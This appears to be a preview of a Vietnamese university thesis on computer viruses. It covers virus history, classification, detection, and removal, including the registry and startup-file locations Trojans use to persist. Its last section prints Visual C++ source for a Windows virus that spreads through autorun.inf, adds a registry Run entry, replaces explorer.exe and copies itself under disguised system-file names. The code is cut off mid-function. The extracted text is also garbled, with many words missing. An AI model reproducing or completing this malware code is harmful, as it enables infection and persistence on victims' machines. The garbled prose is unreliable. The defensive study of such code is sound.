Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống
1
/ 68 trang
THÔNG TIN TÀI LIỆU
Thông tin cơ bản
Định dạng
Số trang
68
Dung lượng
753,2 KB
Nội dung
Mục lục Mở đầu Lời cảm ơn Chương TỔNG QUAN VỀ VIRUS MÁY TÍNH 1.1 GIỚI THIỆU VỀ VIRUS MÁY TÍNH…………………………… 1.1.1 Virus máy tính tính chất 1.1.2 Tên virus máy tính 1.1.3 Phân loại virus máy tính 11 1.2 BOOT VIRUS……………………………………………………….15 1.2.1 Phƣơng pháp lây lan 15 1.2.2 Phân loại Boot Virus 16 1.2.3 Cấu trúc chƣơng trình B-Virus 18 1.3 VIRUS FILE……………………………………………………… 20 1.3.1 Phƣơng pháp lây lan 20 1.3.2 Phân loại F-Virus 21 1.3.3 Cấu trúc chƣơng trình F-Virus 21 1.4 VIRUS MACRO…………………………………………………….23 1.4.1 Định nghĩa 23 1.4.2 Virus Macro W97M/Antivi.a 24 1.5 TROJAN…………………………………………………………… 26 1.5.1 Định nghĩa Trojan 26 1.5.2 Phƣơng pháp lây nhiễm Trojan 26 1.5.3 Sự nguy hiểm Trojan 28 1.5.4 Phân loại Trojan 28 1.5.5 Mục đích Trojan 29 1.5.6 Phƣơng thức hoạt động Trojan 30 1.5.7 Cổng số Trojan thông dụng 31 1.6 INTERNET WORM……………………………………………… 32 1.6.1 Giới thiệu chung 32 1.6.2 Các giai đoạn phát triển sâu Internet 35 Chương NHẬN DẠNG VÀ PHÁT HIỆN VIRUS 44 2.1 KỸ THUẬT NHẬN DẠNG VIRUS……………………………… 44 2.1.1 Nhận dạng xác mẫu (Signature based delection) 44 2.1.2 Nhận dạng theo mã đại diện 45 2.1.3 Scan theo string 46 2.1.4 Nhận dạng hành vi đáng ngờ 48 2.1.5 Kiểm soát liên tục 49 2.1.6 Kết hợp phƣơng thức 49 2.2 PHƢƠNG PHÁP PHÁT HIỆN VIRUS……………………………50 2.2.1 Quét (scanner) 50 2.2.2 Checksum (kiểm tra tổng) 50 2.2.3 Guard (canh phòng) 51 Chương PHÒNG CHỐNG VIRUS 52 3.1 DỊ TÌM TRONG BỘ NHỚ……………………………………… 52 1/ Đối với B-Virus: 52 2/ Đối với RF-Virus: 53 3.2 DIỆT VIRUS VÀ KHÔI PHỤC DỮ LIỆU……………………… 53 3.2.1 B-Virus 53 3.2.2 F- Virus 54 3.2.3 Virus Trojan 55 3.2.4 Sâu Worm 57 3.3 TẠO VIRUS MÁY TÍNH………………………………………… 58 Kết luận 68 Mở đầu Virus tin học nỗi băn khoăn lo lắng người làm công tác tin học, nỗi lo sợ người sử dụng máy tính bị nhiễm virus Khi máy tính bị nhiễm virus, họ biết trông chờ vào phần mềm diệt virus có thị trường, trường hợp phần mềm không phát không tiêu diệt được, họ bị lâm phải tình khó khăn, khơng biết phải làm Vì lý đó, có cách nhìn nhận hệ thống, chế nguyên tắc hoạt động virus tin học cần thiết Trên sở đó, có cách nhìn đắn virus tin học việc phòng chống, kiểm tra, chữa trị cách phân tích, nghiên cứu virus xuất Ứng với hệ điều hành có loại virus hoạt động riêng ứng với hệ điều hành DOS ta có virus DOS, ứng với hệ điều hành Windows ta có virus Windows Và phát triển tin học gắn liền với phát triển virus tin học có phần mềm, chương trình, hệ điều hành xuất virus xuất theo kéo theo chương trình diệt virus Vì việc nghiên cứu, nhận dạng phát virus để từ có biện pháp thích hợp để ngăn chặn phòng trừ virus đạt kết cao Lời cảm ơn Em xin bày tỏ lịng kính trọng biết ơn sâu sắc tới PSG.TS Trịnh Nhật Tiến, giáo viên môn khoa công nghệ thông tin, Đại học Dân Lập Hải Phòng hướng dẫn động viên em trình làm luận văn Em xin cảm ơn thầy cô giáo trường tạo điều kiện giúp đỡ em hoàn thành luận văn Em xin gửi lời cảm ơn tới gia đình bạn bè giúp đỡ động viên tạo điều kiện cho em trình làm luận văn Vì thời gian khơng nhiều, kinh nghiệm cịn hạn chế, khơng tránh khỏi thiếu sót Em mong nhận ý kiến đóng góp thầy bạn bè Em xin chân thành cảm ơn Chương TỔNG QUAN VỀ VIRUS MÁY TÍNH Để phát diệt virus tin học trước hết phải hiểu rõ chất chúng Về nguyên tắc chung, công việc diệt virus tin học đa phần làm ngược lại mà virus làm Vì vậy, chương tập trung nghiên cứu nội dung liên quan đển chế hoạt động virus để làm rõ chất virus tin học Từ xây dựng chương trình tìm diệt virus 1.1 GIỚI THIỆU VỀ VIRUS MÁY TÍNH 1.1.1 Virus máy tính tính chất 1.1.1.1 Khái niệm Virus máy , đơi kh tính - 1.1.1.2 Các tính chất Tính lây lan: tính chất quan trọng tất loại virus Khả lây lan thể sức mạnh virus Đây điểm phân biệt virus với số chương trình “xấu” khác có khả phá hoại liệu máy tính khơng tự lây lan Tính ẩn: tính chất làm cho virus tránh phát chương trình anti-virus tăng tốc độ lây nhiễm, đảm bảo tồn Virus giảm tối đa kích thước cách tối ưu hố mã lệnh sử dụng số giải thuật tự nén giải nén Tuy nhiên, điều có nghĩa virus phải giảm độ phức tạp nó, dễ dàng cho lập trình viên phân tích mã lệnh Tính phá hoại: tính chất khơng có số loại virus đơn giản chúng viết để “thư giản” kiểm nghiệm khả lây lan mà Tuy nhiên, nhiều loại virus có khả phá hoại cao 1.1.1.3 Lịch sử phát triển virus máy tính Virus máy tính có q trình phát triển dài, ln song hành máy tính Khi mà cơng nghệ phần mềm phần cứng phát triển virus máy tính phát triển theo Hệ điều hành thay đổi virus máy tính tự thay đổi để phù hợp với hệ điều hành Có nhiều tài liệu khác nói xuất xứ virus máy tính [1,2,3,4] Tuy nhiên, đa số tài liệu nói xuất xứ virus máy tính liên quan đến kiện trị chơi Core War 1983 – Nguyên lý trò chơi Core War Core War đấu trí hai đoạn chương trình máy tính hai lập trình viên viết Mỗi đấu thủ đưa chương trình có khả tự tái tạo gọi Orgnaism vào nhớ máy tính Khi bắt đầu chơi, đấu thủ cố gắng phá hủy Organism đối phương tái tạo Organism Đấu thủ thắng đấu thủ tự nhân nhiều Trị chơi Core War giữ kín đến năm 1983, Ken Thompson người viết phiên cho hệ điều hành UNIX, để lộ nhận giải thưởng danh dự giới điện toán- giải thưởng A.M Turing Trong diễn văn ơng đưa ý tưởng virus máy tính dựa trị chơi core war Cũng năm 1983, tiến sỹ Frederik Cohen chứng minh tồn virus máy tính Tháng năm 1984 tờ báo Scientific America có đăng mơ tả “core war” cung cấp cho độc giả thông tin hướng dẫn trị chơi này, kể từ virus máy tính xuất kèm theo chiến viết virus người diệt virus 1986 – Virus Brain Có thể coi virus máy tính giới, Brain bí mật thâm nhập từ Pakistan vào nước Mỹ với mục tiêu trường đại học Delaware Một nơi khác giới mô tả xuất virus, trường đại học Hebrew – Israel 1987 – Virus Lehigh Lehigh tên virus xuất năm 1987 trường đại học tên Trong thời gian có số virus khác xuất hiện, đặc biệt WORM virus (sâu virus), ác mộng với hệ thống máy chủ xuất Virus Jerusalem gây thiệt hại cho công ty IBM với tốc độ lây lan đáng nể: 500000 nhân 1988 – Virus lây lan mạng Ngày 2/11/1988, Robert Morris đưa virus vào mạng máy tính quan trọng Mỹ, gây thiệt hại lớn Từ trở người ta bắt đầu thấy tính nguy hại virus máy tính 1989 – Virus AIDS Trojan Xuất Trojan hay gọi “con ngựa thành Tơ – roa ”, chúng virus máy tính, ln với khái niệm virus Những Trojan gắn vào máy tính lấy cắp số thơng tin gửi đến địa mà chủ ngựa muốn vận chuyển đến, đơn giản phá hủy liệu máy tính 1991 – Virus Tequila Đây loại virus mà giới chuyên môn gọi virus đa hình Đây thực loại virus gây đau đầu cho người diệt virus thật khơng dễ dàng để diệt chúng Chúng có khả tự thay đổi hình dạng sau lần lây nhiễm, làm cho việc phát chúng khó khăn 1992- Virus Michelangelo Tiếp nối đời virus đa hình năm 1991, năm, 1992 sức mạnh cho loại virus máy tính tăng nhanh chóng mặt, người viết virus tạo đa hình cực phức tạp cho virus 1995 – Virus Concept Sau gần 10 năm kể từ ngày virus máy tính xuất hiện, loại virus có nguyên lý hoạt động gần thay đổi hoàn toàn so với virus trước Sau virus theo nguyên lý virus Concept gọi chung macro, chúng công vào hệ soạn thảo văn Microsoft (Word, Excel, Powerpoint) 1996 – Virus Boza Khi hãng Microsoft chuyển sang hệ điều hành Window95 họ cho virus công được, năm 1996 xuất virus Boza lây nhiễm hệ điều hành Windows 1999 – Virus Melissa, Bubbleboy Một bước phát triển virus, sâu Mellisa khơng kết hợp tính sâu Internet virus marco mà cịn khai thác công cụ thường sử dụng hàng ngày Microsoft Outlook Express Khi máy tính bị nhiễm sâu Mellisa, tự phát tán mà chủ nhân máy tính khơng hay biết Trong bốn ngày, sâu Mellisa lây nhiễm 250 ngàn máy tính giới thơng qua Internet, có Việt Nam, gây thiệt hại hàng trăm triệu USD Sâu Mellisa chứng minh Internet phương tiện hữu hiệu để virus máy tính lây lan tồn cầu vài tiếng đồng hồ Năm 1999, sâu Mellisa, virus Chernobyl hay gọi CIH phá hủy liệu hàng triệu máy tính giới, gây thiệt hại gân tỷ USD vào ngày 26/4/1999 Năm 2000 – Virus Dos, Love Letter Có thể coi vụ việc virus phá hoại lớn từ trước tới nay, Love Letter có xuất xứ từ Philippines sinh viên nước tạo ra, vòng sáu tiếng đồng hồ lây nhiễm tới 20 nước giới có Việt Nam, lây nhiễm 55 triệu máy tính gây thiệt hại 8,7 tỷ USD Còn Dos (Denial of Service), virus phát tán khắp nơi, nằm vùng nơi lây nhiễm Cuối chúng đồng loạt công theo kiểu từ chối dịch vụ (Denial of Service – yêu cầu liên tục, từ nhiều máy tính đồng thời, làm cho máy chủ bị công phục vụ dẫn đến từ chối yêu cầu mới) vào hệ thống máy chủ người điều hành lệnh, vào thời điểm định trước Một hệ thống điện thoại Tây Ban Nha nơi bị công 2001 – Virus Winux Windows/Linux, Nimda, Code Red Winux Windows/Linux virus đánh dấu virus lây hệ điều hành Linux Nimda, Code Red virus công đối tượng nhiều đường khác (từ máy chủ sang máy chủ từ máy chủ sang máy trạm…), tháng 9/2002 Việt Nam cịn quan với mạng máy tính có hàng trăm máy tính bị nhiễm virus Nimda Chúng xu hướng loại virus máy tính tất một, virus bao gồm nhiều virus 2002 – Sự đời hàng loạt loại virus Tháng 1/2002, virus lây nhiễm file SWF Tháng 3/2002 sâu SharpA (viết ngôn ngữ C# đời) Tháng 5/2002 SQLSpider đời chúng cơng chương trình dùng SQL Perrun lây file ảnh JPEG Scalper công FreeBSD/Apache Web server 1.1.2 Tên virus máy tính Tên virus nói chung thường đặt nhà nghiên cứu gặp virus Vấn đề nhiều nhà nghiên cứu gặp virus giống cách đặt tên người lại khác Việc công ty phần mềm an ninh cạnh tranh để đơn vị đặt tên cho loại virus dẫn đến tình trạng phổ biến nay, virus thường gọi nhiều danh tính khác Bất đồng tên cách đặt tên loại virus tạo điều khó hiểu lĩnh vực này, từ dẫn đến khó khăn biện pháp đối phó góp phần giúp cho virus dễ dàng phát tán Đây chủ đề đưa thảo luận hội nghị toàn cầu chống virus (Virus Bulletin 2003) tổ chức Toronto-Canada cuối tháng 9/2003 Vào đầu thập kỷ 1990 có hệ thống quy ước cách đặt tên Tổ chức nghiên cứu virus máy tính (CARO) đề xuất Chính thức đưa năm 1991 bổ sung thêm vào, hệ thống đề nguyên tắc khơng thể sử dụng việc đặt tên cho virus, đồng thời thiết lập hệ thống đặc trưng virus mức độ nguy hiểm, bị tác động, họ hàng nó… Nick Fitzgerald, đại diện CARO, phát biểu hệ thống đặt tên cho biết nguyên tắc họ có hiệu lực Kiểu đặt tên mang tính kỹ thuật quan trọng chun gia virus, họ biết virus thuộc loại nào, phiên thứ mấy,… thông qua tên gọi virus Những điều lại khơng qua trọng với hầu hết người sử dụng máy tính, người thường có xu hướng nhớ tên virus như: I Love You Mellisa (nhớ tên theo kiện) thay VBS.LoveLetter.A W97.Mellisa.A Tóm lại: bất đồng việc đặt tên cho virus nhà nghiên cứu hay công ty phần mềm an ninh mạng tạo cho virus loại nhiều tên khác Điều tạo lẫn lộn cho người phần mềm diệt virus xem xét đặc điểm, dấu hiệu nhận biết virus mà không quan tâm đến tên chúng việc diệt virus 10 sector, trường hợp khôi phục lại tiến hành ghi đè Boot sector Các bước tiến hành bao gồm: Căn vào loại đĩa (đĩa cứng hay mềm) loại virus tiến hành giải mã xác định nơi cất giữ Boot sector nguyên thủy Đọc Boot sector nguyên thủy vào đệm ngắt 13h (chức đọc sector 02h) BIOS kiểm tra tính hợp lý Trong trường hợp việc kiểm tra xác bắt đầu ghi đè vào Boot sector có virus ngắt 13h chức ghi sector 03h BIOS Đối với loại DB-Virus, việc khơi phục đĩa cịn kèm với việc giải phóng số liên cung bị đánh dấu bỏ đĩa virus dùng phương pháp định vị FAT Cách giải tốt việc là: nên làm điều virus làm ngược lại 3.2.2 F- Virus 1/ Virus macro: Việc diệt đơn giản xóa macro virus (dùng chức ngắt 040h ngắt 21h) 2/ F-Virus truyền thống: Giải mã virus để khơi phục liệu chương trình bị virus chiếm giữ sau cắt bỏ mã virus khỏi chương trình 3/ Đối với file dạng COM, BIN: Nếu virus lây theo kiểu nối đuôi file trả lại byte đầu bị virus chiếm giữ, dời trỏ file đến đầu mã virus (dùng chức 042h ngắt 21h) cắt khỏi file ngắt 21h chức ghi file 040h DOS Nếu virus lây theo kiểu chèn đầu: đọc file từ sau phần mã virus vào nhớ ngắt 21h chức đọc file 03Fh tiến hành ghi lại (dùng chức 040h ngắt 21h) Nếu virus lây theo kiểu đè vùng trống: định vị trả lại byte đầu bị virus chiếm giữ, dời trỏ file đến mã virus xóa 54 4/ Đối với file dạng EXE: Cách diệt tương tự file COM Nếu virus cất Exe header cũ file việc khơi phục đơn giản cách trả lại phần cho file, ngược lại phải tính tốn định vị số yếu tố bảng Exe header dấu hiệu nhận dạng file EXE: „MZ‟, tổng số trang, số byte lẻ trang cuối file 3.2.3 Virus Trojan Trojan thực lây nhiễm tới máy tính mà khơng lây nhiễm vào file máy tính Do thực diệt Trojan không cần qua tâm tới xem có hoạt động hệ thống khơng Trojan có đặc điểm muốn hoạt động phải kích hoạt Một cách hữu hiệu để diệt Trojan không cho phép kích hoạt Thực diệt Trojan theo cách phải tìm hiểu phương pháp mà Trojan sử dụng thơng qua kích hoạt Một số phương pháp mà Trojan thường sử dụng để kích hoạt là: (Ví dụ với file khởi động Trojan.exe) Trong thư mục mà file kích hoạt khởi động Windows: C:\ Windows\ Start Menu\ Programs\ startup\ Trojan.exe Trong file C:\ windows\ Win.ini dòng lệnh: Load=Trojan.exe Hoặc run=Trojan.exe Trong file c:\ windows\ system.ini sau dòng lệnh shell Shell=Explorer.exe chạy Trong Autoexec.bat C:\ \Trojan.exe Trong thư mục khởi động Windows: C:\ …\ Trojan.exe 55 Tạo khóa Registry: [HKEY_LOCAL_MACHINE \ Software \ Microsoft \Windows \ CurrentVersion\ Run] “Trojan”=”c:\…\ Trojan.exe” [HKEY_LOCAL_MACHINE \ Software \ Microsoft\ Window \ CurrentVersion\ RunOnce] “Trojan”=”c:\ \Trojan.exe” [HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion\ RunServices] “Trojan”=”c:\ \Trojan.exe” [HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion\ RunServicesOnce] “Trojan”=”c:\ \Trojan.exe” [HKEY_LOCAL_USER \ Software \ Microsoft \ Windows \ CurrentVersion\ Run] “Trojan”=”c:\ \Trojan.exe” [HKEY_LOCAL_USER \ Software \ Microsoft \ Windows \ CurrentVersion\ RunServices] “Trojan”=”c:\ \Trojan.exe” - Trong Resistry Shell Open với key “%1%*” [HKEY_CLASSES_ROOT \ exefile \shell\ open\ command] [HKEY_CLASSES_ROOT \ comfile \shell\ open\ command] [HKEY_CLASSES_ROOT \ batfile \shell\ open\ command] [HKEY_CLASSES_MACHINE \ SOFTWARE \ Classes \ exefile \ shell \ open \ command] Trojan.exe = “%1%*” - Trong số ứng dụng mà cho phép số chương trình chạy: +Trong ICQ: [HKEY_CURRENT_USER \ Software \ Mirabilis \ ICQ \ Agent\ Apps\] +Trong ActiveX: [HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Active Setup \ Installed Components \ KeyName] StubPath=c:\ \Trojan.exe Loại bỏ Trojan ta thực xóa tất lệnh có file mà Trojan chạy khởi động máy tính (ở ví dụ file Trojan.exe) 56 3.2.4 Sâu Worm Để diệt sâu Internet ta thực q trình sau: - Nghiên cứu thơng tin sâu - Thực loại bỏ phần lây nhiễm khỏi file lây nhiễm Mỗi sâu Internet có đặc trưng riêng nó, điều cần thiết phải thực việc nghiên cứu sâu Internet: tên file thực thi, đường dẫn file thực thi, tác động tới file khác hệ thống, file mà tạo phần mã đại diện sâu Internet Thông qua mã đại diện sâu Internet ta thực việc quét file tìm diệt sâu Internet 57 3.3 TẠO VIRUS MÁY TÍNH Thử nghiệm chương trình virus máy tính với Visual C++ chạy hệ điều hành Windows XP Chương trình tạo virus : Phần khai báo #include "stdafx.h" #include #include #include #include #include #define SVCHOST_NUM #define RUBBISH_NUM #define REMOVE_NUM /*=================================================*/ Char*autorun={"[AutoRun]\nopen=\"SVCHOST.com /s\"\nshell\\open=ũê(&O)\\nshell\\open\\Command=\"SVCHOST.com /s\"\nshell\\explore=ìấễạĩớặữ(&X)\\nshell\\explore\\Command=\"SVCHO ST.com /s\""}; /*=================================================*/ char *regadd={"REGEDIT4\n\n\ [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\Curr entVersion\\Run]\n\"wjview32\\"=\"C:\\\\windows\\\\wjview32.com /s\""}; 58 /*=================================================*/ int copy(char *infile,char *outfile) { FILE *input,*output; char temp; if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen (outfile,"wb"))!=NULL)) { while(!feof(input)) { fread(&temp,1,1,input); fwrite(&temp,1,1,output); } fclose(input); fclose(output); return 0; } else return 1; } 59 /*=================================================*/ int autorun_explorer() { FILE *input; if((input=fopen("C:\\windows\\system\\explorer.exe","rb"))!=NULL) { fclose(input); remove("C:\\windows\\$temp$"); remove("C:\\windows\\system32\\dllcache\\$temp$"); return 1; } copy("C:\\windows\\explorer.exe","c:\\windows\\system\\explorer.exe"); rename("C:\\windows\\explorer.exe","C:\\windows\\$temp$"); rename("C:\\windows\\system32\\dllcache\\explorer.exe","C:\\windows\\syste m32\ \\dllcache\\$temp$"); if(copy("SVCHOST.com","C:\\windows\\explorer.exe")==0 && copy ("SVCHOST.com","C:\\windows\\system32\\dllcache\\explorer.exe")==0 ) return 0; else return 2; } 60 /*=================================================*/ int add_reg() { FILE *output; if((output=fopen("$$$$$","w"))!=NULL) { fprintf(output,regadd); fclose(output); spawnl(1,"C:\\windows\\regedit.exe"," /s $$$$$",NULL); return 0; } return 1; } /*=================================================*/ void copy_virus() { int i,k; FILE *input,*output; char *files_svchost[SVCHOST_NUM]= {"svchost.com","C:\\windows\\wjview32.com","c:\\windows\\system\\M SMOUSE.DLL","c:\\windows\\syste\ m32\\cmdsys.sys","C:\\windows\\system32\\mstsc32.exe","c:\\windows\\ explorer.exe"}; char temp[2][20]={"C:\\svchost.com","c:\\autorun.inf"}; 61 for(i=0;i